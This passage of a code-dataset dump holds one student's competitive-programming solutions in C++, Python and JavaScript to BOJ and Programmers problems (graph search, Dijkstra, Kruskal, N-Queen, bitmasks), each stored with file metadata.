0;\n}"},{"alpha_fraction":0.34015747904777527,"alphanum_fraction":0.38792651891708374,"avg_line_length":23.126583099365234,"blob_id":"d2dc8427a6e696c9da9431b21688d650a4434268","content_id":"05c47a27de9178c34a85686c08b7b7afbda1e317","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2017,"license_type":"no_license","max_line_length":80,"num_lines":79,"path":"/BOJ/Implementation/14500.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14500번: 테트로미노\nDATE: 2021-10-13\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint ans = -1;\nint n, m;\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\nint arr[500][500] = {0, }, visited[500][500] = {0, };\n\nvoid solve_shape(int x, int y) { // ㅜ 모양은 dfs가 불가능\n if(x >= 0 && x + 1 < n && y >= 0 && y + 2 < m) {\n // ㅜ\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x][y+2] + arr[x+1][y+1]);\n }\n if(x - 1 >= 0 && x + 1 < n && y >= 0 && y + 1 < m) {\n // ㅓ\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x+1][y+1] + arr[x-1][y+1]);\n }\n if(x - 1 >= 0 && x < n && y >= 0 && y + 2 < m) {\n // ㅗ\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x][y+2] + arr[x-1][y+1]);\n }\n if(x >= 0 && x + 2 < n && y >= 0 && y + 1 < m) {\n // ㅏ\n ans = max(ans, arr[x][y] + arr[x+1][y] + arr[x+2][y] + arr[x+1][y+1]);\n }\n}\n\nvoid solve(int x, int y, int length, int sum) {\n if(length == 4) {\n ans = max(ans, sum);\n return;\n }\n\n for(int i = 0; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny]) continue;\n visited[nx][ny] = 1;\n solve(nx, ny, length + 1, sum + arr[nx][ny]);\n visited[nx][ny] = 0; //대칭, 회전 위해서는 다시 방문해야함\n }\n\n return;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n cin >> arr[i][j];\n }\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n // ㅜ 모양\n solve_shape(i, j);\n\n // 나머지 모양\n visited[i][j] = 1;\n solve(i, j, 1, arr[i][j]);\n visited[i][j] = 0; // 대칭, 회전 위해서는 다시 방문해야함\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.30854272842407227,"alphanum_fraction":0.364824116230011,"avg_line_length":22.162790298461914,"blob_id":"f059ebe2e309e8576bf43360310ac46ca2dea3ee","content_id":"9155026197822dc7b062bca8260bca20e596d98e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1011,"license_type":"no_license","max_line_length":115,"num_lines":43,"path":"/BOJ/Dynamic Programming/9184.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9184번: 신나는 함수 실행\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\nusing namespace std;\nint dp[21][21][21];\n\nint w(int a, int b, int c){\n if(a <= 0 || b <= 0 || c <= 0)\n return 1;\n else if(a > 20 || b > 20 || c > 20)\n return w(20, 20, 20);\n else if(a < b && b < c){\n if(dp[a][b][c] != 0)\n return dp[a][b][c];\n else\n return dp[a][b][c] = w(a, b, c - 1) + w(a, b - 1, c - 1) - w(a, b - 1, c);\n }\n else{\n if(dp[a][b][c] != 0)\n return dp[a][b][c];\n else\n return dp[a][b][c] = w(a - 1, b, c) + w(a - 1, b - 1, c) + w(a - 1, b, c - 1) - w(a - 1, b - 1, c - 1);\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n while(1){\n int a, b, c;\n cin >> a >> b >> c;\n\n if(a == -1 && b == -1 && c == -1)\n break;\n \n cout << \"w(\" << a << \", \" << b << \", \" << c << \") = \" << w(a, b, c) << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.44920843839645386,"alphanum_fraction":0.4696570038795471,"avg_line_length":22.703125,"blob_id":"9bc69b4a26ea07fbdbd00049725ed0afc4555a86","content_id":"ef5f4d6ebd5cf93a999b60ef9a8622b63bdced69","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1714,"license_type":"no_license","max_line_length":80,"num_lines":64,"path":"/BOJ/Sliding Window/3078.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3078번: 좋은 친구\nDATE: 2022-01-19\nSliding Window\n*/\n#include <iostream>\n#include <vector>\n#include <map>\n#define startNameLen vec[s].second\n#define endNameLen vec[e].second\nusing namespace std;\n\nvector<pair<int,int>> vec;\nmap<int, int> m; \nint n, k;\nint s = 0, e = 0;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n long long ans = 0;\n\n cin >> n >> k;\n\n for(int i = 0 ; i < n ; i++){\n cin >> str;\n vec.push_back({i + 1, str.length()}); // (등수, 이름의 길이)\n }\n \n while(1){\n if(e == n) { // end는 끝에 다다르고 start만 증가해야 하는 경우\n while(s < n){\n // 범위를 벗어난 값 제거 (창문에서 나가는 값)\n if(m[startNameLen] > 1) m[startNameLen]--;\n else if(m[startNameLen] == 1) m.erase(m[startNameLen]);\n s++;\n\n if(m[startNameLen] > 1) ans += m[startNameLen] - 1; // 쌍의 개수 구하기\n }\n break;\n }\n\n if(e - s > k) { // 범위를 벗어난 값 제거 (창문에서 나가는 값)\n if(m[startNameLen] > 1) m[startNameLen]--;\n else if(m[startNameLen] == 1) m.erase(startNameLen);\n s++;\n }\n\n while(e - s <= k){ // end 값을 증가시키며 새로운 값 처리 (창문에 새로 들어오는 값)\n if(m.find(endNameLen) == m.end()) m.insert({endNameLen, 1});\n else m[endNameLen]++;\n\n if(e - s == k){ // 쌍의 개수 구하기\n if(m[startNameLen] > 1) ans += m[startNameLen] - 1;\n }\n\n e++;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.34866827726364136,"alphanum_fraction":0.4043583571910858,"avg_line_length":21.351350784301758,"blob_id":"ba017719c4f48312e8e8e7d4204a729202fd18c9","content_id":"a275e390d1e3b70e83f35725dd1a065d87dfb5d5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":834,"license_type":"no_license","max_line_length":58,"num_lines":37,"path":"/BOJ/Implementation/9610.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 9610번: 사분면\n//2021-05-04\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, q1=0, q2=0, q3=0, q4=0, axis=0;\n pair<int, int> pos;\n\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n int x, y;\n cin >> x >> y;\n pos = make_pair(x, y);\n\n if(pos.first > 0 && pos.second > 0)\n q1++;\n else if(pos.first < 0 && pos.second > 0)\n q2++;\n else if(pos.first < 0 && pos.second < 0)\n q3++;\n else if(pos.first > 0 && pos.second < 0)\n q4++;\n else\n axis++;\n }\n\n cout << \"Q1: \" << q1 << \"\\n\";\n cout << \"Q2: \" << q2 << \"\\n\";\n cout << \"Q3: \" << q3 << \"\\n\";\n cout << \"Q4: \" << q4 << \"\\n\";\n cout << \"AXIS: \" << axis << \"\\n\";\n\n return 0;\n}"},{"alpha_fraction":0.5265700221061707,"alphanum_fraction":0.6135265827178955,"avg_line_length":13.857142448425293,"blob_id":"2224a934b39408c043a32c6525de93a0fc77c774","content_id":"67e240b6c1ad27c45b983223129b6f3bdebaa006","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":217,"license_type":"no_license","max_line_length":25,"num_lines":14,"path":"/BOJ/Implementation/11656.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# 11656.py\n# BOJ 11656: 접미사 배열\n# DATE: 2022-03-15\nimport sys\nread = sys.stdin.readline\n\ns = read().strip()\ns_list = []\n\nfor i in range(len(s)):\n s_list.append(s[i:])\n\nfor i in sorted(s_list):\n print(i)"},{"alpha_fraction":0.42092689871788025,"alphanum_fraction":0.4495938718318939,"avg_line_length":22.266666412353516,"blob_id":"c8ed33638a5cd96f89b9a85a963a00b417d20293","content_id":"f103f368881ce6a98a3cb1778f8e31829cc22840","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2137,"license_type":"no_license","max_line_length":88,"num_lines":90,"path":"/BOJ/BFS_DFS/14502.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14502번: 연구소\nDATE: 2021-10-07\nUPDATE: 2022-04-03\nBFS\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <queue>\n#include <string.h>\n#define MAX 8\nusing namespace std;\n\nvector<pair<int, int>> virus, candidate;\nint n, m, ans = -1;\nint arr[MAX][MAX], tmp[MAX][MAX], visited[MAX][MAX];\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\n\nvoid bfs(int x, int y) {\n queue<pair<int, int>> q;\n\n q.push(make_pair(x, y));\n visited[x][y] = 1;\n\n while(!q.empty()) {\n int x = q.front().first;\n int y = q.front().second;\n q.pop();\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny] == 1) continue;\n if(tmp[nx][ny] == 1) continue;\n\n visited[nx][ny] = 1;\n q.push(make_pair(nx, ny));\n tmp[nx][ny] = 2;\n }\n \n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n cin >> arr[i][j];\n if(arr[i][j] == 2) virus.push_back(make_pair(i, j));\n else if(arr[i][j] == 0) candidate.push_back(make_pair(i, j));\n }\n }\n\n vector<bool> idx(candidate.size(), false);\n\n for(int i = 0 ; i < 3 ; i++) idx[i] = true;\n sort(idx.begin(), idx.end());\n\n do{\n int cnt = 0;\n\n memcpy(tmp, arr, sizeof(arr));\n memset(visited, 0, sizeof(visited));\n\n for(int i = 0 ; i < idx.size() ; i++){\n if(idx[i]) tmp[candidate[i].first][candidate[i].second] = 1; //벽 설치\n }\n\n for(int i = 0 ; i < virus.size() ; i++) {\n bfs(virus[i].first, virus[i].second); //바이러스 위치에서 bfs 시작\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n if(tmp[i][j] == 0) cnt++; //안전 영역 수\n }\n }\n\n ans = max(cnt, ans); \n }while(next_permutation(idx.begin(), idx.end()));\n \n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4429223835468292,"alphanum_fraction":0.47031962871551514,"avg_line_length":17.29166603088379,"blob_id":"f79083ca218acc314dbf6f7801a1f4d4245cd806","content_id":"13566d243b1e251fe73652c168d3817df1cf09e7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":438,"license_type":"no_license","max_line_length":53,"num_lines":24,"path":"/programmers/Level 2/h-index.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: H-index\n2021-12-26\n*/\nfunction solution(citations) {\n let answer = 0;\n let num = citations.length;\n\n citations.sort((a, b) => {\n return a - b\n });\n\n for (let i = num; i >= 0; i--) {\n let index = citations.findIndex(v => v >= i);\n index = index === -1 ? num : index;\n\n if (num - index >= i) {\n answer = i\n break;\n }\n }\n\n return answer;\n}"},{"alpha_fraction":0.4190231263637543,"alphanum_fraction":0.4627249240875244,"avg_line_length":18.475000381469727,"blob_id":"d4c930877ff3390c4edda6234f6c953cd50828cc","content_id":"764398c5462b022f27da6ff1b73804407ba6a524","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":786,"license_type":"no_license","max_line_length":64,"num_lines":40,"path":"/BOJ/Two Pointer/2470.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2470번: 두 용액\n2021-12-28\nTwo pointer\n*/\n#include <iostream>\n#include <algorithm>\n#include <vector>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n vector<int> ans(2);\n int start = 0, end = n - 1, min = 2000000001;\n int arr[n];\n\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\n sort(arr, arr + n);\n \n while(start < end) {\n int sum = arr[start] + arr[end];\n\n if(abs(sum) < min) {\n ans[0] = arr[start];\n ans[1] = arr[end];\n min = abs(sum);\n }\n \n if(sum < 0) start++;\n else end--;\n }\n\n sort(ans.begin(), ans.end());\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \" \";\n\n return 0;\n}"},{"alpha_fraction":0.4434320330619812,"alphanum_fraction":0.46545177698135376,"avg_line_length":19.59375,"blob_id":"9fed0277bea674980b7b58435d002cf276cef8df","content_id":"21c862dafb99a2da4d03304213f82311de514fd9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1327,"license_type":"no_license","max_line_length":88,"num_lines":64,"path":"/BOJ/Dijkstra/1753.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1753번: 최단경로\nDATE: 2021-02-18\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 20001\n#define INF 1e9\nusing namespace std;\n\nvector<pair<int, int>> graph[MAX];\nint d[MAX];\n\nvoid dijkstra(int start){\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq; \n \n pq.push(make_pair(0, start));\n d[start] = 0;\n\n while(!pq.empty()){\n int cost = pq.top().first;\n int now = pq.top().second;\n pq.pop();\n\n for(int i = 0 ; i < graph[now].size() ; i++){ \n int next = graph[now][i].first;\n int nCost = graph[now][i].second;\n if(cost + nCost < d[next]){\n d[next] = cost + nCost;\n pq.push(make_pair(d[next], next));\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int v, e, start;\n\n cin >> v >> e >> start;\n\n for(int i = 0 ; i < e ; i++){\n int x, y, z;\n cin >> x >> y >> z;\n graph[x].push_back(make_pair(y, z)); \n }\n\n for(int i = 1 ; i <= v ; i++){\n d[i] = INF;\n }\n\n dijkstra(start);\n\n for(int i = 1 ; i <= v ; i++){\n if(d[i] == INF)\n cout << \"INF\" << \"\\n\";\n else \n cout << d[i] << \"\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.4838709533214569,"alphanum_fraction":0.5107526779174805,"avg_line_length":15.441176414489746,"blob_id":"573ef80e2f0324ccbcce6f728a4b3eb6c6b3f7ab","content_id":"fda8255867e5e0a234af9e38818f8ebd66923efc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":566,"license_type":"no_license","max_line_length":52,"num_lines":34,"path":"/programmers/Level 3/network.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 3: 네트워크\n2022-02-24\nDFS\n*/\n#include <string>\n#include <vector>\n#define MAX 200\nusing namespace std;\n\nvector<vector<int>> cp;\nbool visited[MAX];\n\nvoid dfs(int num, int n){\n visited[num] = true;\n \n for(int i = 0 ; i < n ; i++) {\n if(cp[num][i] && !visited[i]) dfs(i, n);\n }\n}\n\nint solution(int n, vector<vector<int>> computers) {\n int answer = 0;\n cp = computers;\n \n for(int i = 0 ; i < n ; i++){\n if(!visited[i]) {\n answer++;\n dfs(i, n);\n }\n }\n \n return answer;\n}"},{"alpha_fraction":0.3135313391685486,"alphanum_fraction":0.34873488545417786,"avg_line_length":18.36170196533203,"blob_id":"104dd654a66dd40f3e5144b28189b9b80c5d2ec3","content_id":"8f0f306ec8687f0d6a838750978667193cdc2411","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":915,"license_type":"no_license","max_line_length":58,"num_lines":47,"path":"/BOJ/Bitmask/11723.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11723번: 집합\nDATE: 2022-01-25\nBitmask\n*/\n#include <iostream>\nusing namespace std;\n\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int m, num;\n string cmd;\n\n int s = 0;\n\n cin >> m;\n\n for(int i = 0 ; i < m ; i++){\n cin >> cmd;\n\n if(cmd == \"add\") {\n cin >> num;\n s |= (1 << num);\n }\n else if(cmd == \"remove\") {\n cin >> num;\n s &= ~(1 << num);\n }\n else if(cmd == \"check\") {\n cin >> num;\n if(s & (1 << num)) cout << 1 << '\\n';\n else cout << 0 << '\\n';\n }\n else if(cmd == \"toggle\") {\n cin >> num;\n if(s & (1 << num)) s &= ~(1 << num);\n else s |= (1 << num);\n }\n else if(cmd == \"all\") {\n s = (1 << 21) - 1;\n }\n else if(cmd == \"empty\") s = 0;\n }\n\n return 0;\n}"},{"alpha_fraction":0.42465752363204956,"alphanum_fraction":0.47534245252609253,"avg_line_length":20.5,"blob_id":"44601b66291296d440dcb7503adc837567062b77","content_id":"afb50138094e048c5c652ec1333f5124a3f4f257","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":744,"license_type":"no_license","max_line_length":93,"num_lines":34,"path":"/programmers/Level 1/recommend_new_id.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 신규 아이디 추천\n2021 KAKAO BLIND RECRUITMENT\n2021-12-26\n*/\nfunction solution(new_id) {\n // 1\n new_id = new_id.toLowerCase();\n\n // 2\n new_id = new_id.replace(/[^\\w-.]/g, '');\n\n // 3\n new_id = new_id.replace(/[.]+/g, '.');\n\n // 4\n new_id = new_id[0] === \".\" ? new_id.slice(1) : new_id;\n new_id = new_id[new_id.length - 1] === \".\" ? new_id.slice(0, new_id.length - 1) : new_id;\n\n // 5\n new_id = new_id.length === 0 ? \"a\" : new_id;\n\n // 6\n new_id = new_id.slice(0, 15);\n new_id = new_id[14] === '.' ? new_id.slice(0, 14) : new_id;\n\n // 7\n if (new_id.length < 3) {\n let tmp = new_id[new_id.length - 1];\n while (new_id.length < 3) new_id += tmp;\n }\n\n return new_id;\n}"},{"alpha_fraction":0.5056179761886597,"alphanum_fraction":0.5692883729934692,"avg_line_length":15.75,"blob_id":"3856a2a3bd166ceeccc9e7fe225df2cfa565e5cf","content_id":"d7971ebdacf4811f9f40a6cb2d7d7e60b36cb5e2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":293,"license_type":"no_license","max_line_length":35,"num_lines":16,"path":"/BOJ/Mathematics/1735_2.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# 1735_2.py (math 라이브러리의 gcd 함수 사용)\n# BOJ 1735: 분수 합\n# DATE: 2022-03-16\nimport sys\nimport math\nread = sys.stdin.readline\n \na, b = map(int, read().split())\nc, d = map(int, read().split())\n\nn = a * d + b * c\nm = b * d\n\ndiv = math.gcd(n, m)\n\nprint(n // div, m // div)"},{"alpha_fraction":0.4885145425796509,"alphanum_fraction":0.5107197761535645,"avg_line_length":19.746030807495117,"blob_id":"a1690b03c84b821471aec46aecb81051c80e9ee7","content_id":"1cdccf0874cc4315bb33b5069a4353aa0962ed13","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1320,"license_type":"no_license","max_line_length":58,"num_lines":63,"path":"/BOJ/MST/1922_1.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 1922번: 네트워크 연결\n//Kruskal Algorithm\n//2021-07-12\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint n, m, a, b, c, ans=0;\npair<int, pair<int, int>> edge[100000];\n\nint getParent(int parent[], int x){\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent, parent[x]);\n}\n\nvoid unionParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a == b) return 1;\n else return 0;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n int parent[n+1];\n\n for(int i = 1 ; i <= n ; i++){\n parent[i] = i;\n }\n\n for(int i = 0 ; i < m ; i++){\n cin >> a >> b >> c;\n edge[i].first = c;\n edge[i].second.first = a;\n edge[i].second.second = b;\n }\n\n sort(edge, edge + m);\n\n for(int i = 0 ; i < m ; i++){\n int a = edge[i].second.first;\n int b = edge[i].second.second;\n int c = edge[i].first;\n\n if(findParent(parent, a, b)) continue;\n else{\n unionParent(parent, a, b);\n ans += c;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4373657703399658,"alphanum_fraction":0.46814602613449097,"avg_line_length":15.84337329864502,"blob_id":"0ce115c5b4f901b72bba30e6aee26bfda31dd853","content_id":"824b7b6a491c7187a30ea8aa781d0efc53480972","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1493,"license_type":"no_license","max_line_length":81,"num_lines":83,"path":"/BOJ/Greedy/2513.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 2513번: 통학버스\nDATE: 2021-01-14\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n\tint n, k, s, cnt;\n\tlong long d1, d2;\n\tcin >> n >> k >> s;\n\t\n\tvector<pair <int, int>> v;\n\n\tfor(int i = 0 ; i < n ; i++) {\n\t\tint loc, dst;\n\t\tcin >> loc >> dst;\n\t\tv.push_back(make_pair(loc, dst));\n\t}\n\tv.push_back(make_pair(s, 0));\n\tsort(v.begin(), v.end()); \n\n\tint str = 0, end = n;\n\tint idx = lower_bound(v.begin(), v.end(), make_pair(s, 0)) - v.begin(); //학교 인덱스\n\n\tfor (int i = 0; i <= n; i++) {\n\t\tcout << v[i].first << \" \" << v[i].second << endl;\n\t}\n\n\tint i = str;\n\td1 = 0, cnt = 0;\n\twhile (i < idx) { //학교 앞\n\t\tcnt += v[i].second;\n\n\t\tif (cnt <= k) { //한번에 태울 수 있을 때\n\t\t\tv[i].second = 0;\n\t\t\ti++;\n\t\t\tif (i == idx) {\n\t\t\t\td1 += (s - v[str].first) * 2;\n\t\t\t}\n\t\t}\n\t\telse if (cnt > k) { //나눠 태워야 할 때\n\t\t\tv[i].second = cnt - k;\n\t\t\tcnt = cnt - v[i].second; \n\n\t\t\td1 += (s - v[str].first) * 2;\n\n\t\t\tcnt = 0;\n\t\t\tstr = i;\n\t\t}\n\t}\n\n\tint j = end;\n\td2 = 0, cnt = 0;\n\twhile (j > idx) { // 학교 뒤\n\t\tcnt += v[j].second;\n\n\t\tif (cnt <= k) { //한번에 태울 수 있을 때\n\t\t\tv[j].second = 0;\n\t\t\tj--;\n\t\t\tif (j == idx) {\n\t\t\t\td2 += (v[end].first - s) * 2;\n\t\t\t}\n\t\t}\n\t\telse if (cnt > k) { //나눠 태워야 할 때\n\t\t\tv[j].second = cnt - k;\n\t\t\tcnt = cnt - v[j].second;\n\n\t\t\td2 += (v[end].first - s) * 2;\n\n\t\t\tcnt = 0;\n\t\t\tend = j;\n\t\t}\n\t}\n\n\tcout << d1 + d2;\n\n\treturn 0;\n}"},{"alpha_fraction":0.4539969861507416,"alphanum_fraction":0.4871794879436493,"avg_line_length":14.090909004211426,"blob_id":"17aa0fdee30b1ce14ade7892d70104af482ced00","content_id":"d07d99788b65063c5a9c7c5b9197f2530972b41d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":677,"license_type":"no_license","max_line_length":71,"num_lines":44,"path":"/BOJ/Backtracking/9663.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9663번: N-Queen\nDATE: 2022-04-15\n*/\n#include <iostream>\n#define MAX 15\nusing namespace std;\n\nint N, ans;\nint col[MAX];\n\nbool check(int num){\n for(int i = 0 ; i < num ; i++){\n if(col[i] == col[num]) return false; // 같은 행\n else if(abs(col[num] - col[i]) == num - i) return false; // 대각선\n }\n\n return true;\n}\n\nvoid nqueen(int num){\n if(num == N){\n ans++;\n return;\n }\n\n for(int i = 0 ; i < N ; i++){\n col[num] = i;\n if(check(num)) nqueen(num + 1);\n }\n \n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n \n cin >> N;\n\n nqueen(0);\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4431487023830414,"alphanum_fraction":0.5072886347770691,"avg_line_length":18.628570556640625,"blob_id":"9c3f91a1d34105f6582cf08162d7a342a9ca7387","content_id":"5a074a30736964ecb8de8e3edf1407b56691c035","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":700,"license_type":"no_license","max_line_length":72,"num_lines":35,"path":"/BOJ/Binary Search/18353.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 18353번: 병사 배치하기\nDATE: 2022-01-08\nUPDATE: 2022-02-11\nLongest Increasing Subsequence\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num;\n cin >> n;\n \n vector<int> v1(n), v2;\n\n for(int i = 0 ; i < n ; i++) cin >> v1[i];\n reverse(v1.begin(), v1.end());\n\n for(int i = 0 ; i < n ; i++) {\n if(v2.empty() || v1[i] > v2.back()) {\n v2.push_back(v1[i]);\n continue;\n }\n\n int idx = lower_bound(v2.begin(), v2.end(), v1[i]) - v2.begin();\n v2[idx] = v1[i];\n }\n\n cout << n - v2.size();\n\n return 0;\n}"},{"alpha_fraction":0.4897959232330322,"alphanum_fraction":0.559183657169342,"avg_line_length":16.571428298950195,"blob_id":"31bf6fdb8ded23417ee757b01449f41f77ef841b","content_id":"3cfeef14cb38f9f30d41ac12f760ee1d5d06d1d6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":257,"license_type":"no_license","max_line_length":41,"num_lines":14,"path":"/BOJ/Mathematics/1934.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# 1934.py\n# BOJ 1934번: 최소공배수\n# DATE: 2022-03-18\nimport sys\nread = sys.stdin.readline\n\ndef gcd(a, b):\n return a if b == 0 else gcd(b, a % b)\n\nt = int(read())\n\nfor _ in range(t):\n a, b = map(int, read().split())\n print(a * b // gcd(a, b))"},{"alpha_fraction":0.5146579742431641,"alphanum_fraction":0.5423452854156494,"avg_line_length":17.636363983154297,"blob_id":"fd5b7500aa523d0345a682e2f564b04e86cb6ba6","content_id":"888f8afc3e5c2e9ad22cbfafca61fab5e61351c7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":614,"license_type":"no_license","max_line_length":91,"num_lines":33,"path":"/programmers/Level 2/h-index.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: H-index\n2021-12-26\n*/\n#include <vector>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n\nint solution(vector<int> citations) {\n int answer = 0;\n int num = citations.size();\n \n sort(citations.begin(), citations.end()); \n \n for(int i = num ; i >= 0 ; i--) {\n int index = lower_bound(citations.begin(), citations.end(), i) - citations.begin();\n\n if(i <= num - index) {\n answer = i;\n break;\n }\n }\n \n return answer;\n}\n\nint main(){\n int answer = solution({3, 0, 6, 1, 5});\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.4646017551422119,"alphanum_fraction":0.51106196641922,"avg_line_length":13.612903594970703,"blob_id":"c58b02c6d4a346cbc59bce19e6962c3f50d5c729","content_id":"fb75844517bd545518e13593ca04654f607abfd3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":460,"license_type":"no_license","max_line_length":52,"num_lines":31,"path":"/BOJ/Implementation/1927.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"WINDOWS-1252","text":"/*\nBOJ 1927¹ø: ÃÖ¼Ò Èü\nDATE: 2021-01-07\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0);\n\tint n, x;\n\tpriority_queue<int, vector <int>, greater <int>>pq;\n\n\tcin >> n;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x;\n\n\t\tif (x != 0) pq.push(x);\n\t\telse if (x == 0) {\n\t\t\tif (pq.empty()) {\n\t\t\t\tcout << 0 << \"\\n\";\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcout << pq.top() << \"\\n\";\n\t\t\tpq.pop();\n\t\t}\n\t}\n\t\n\treturn 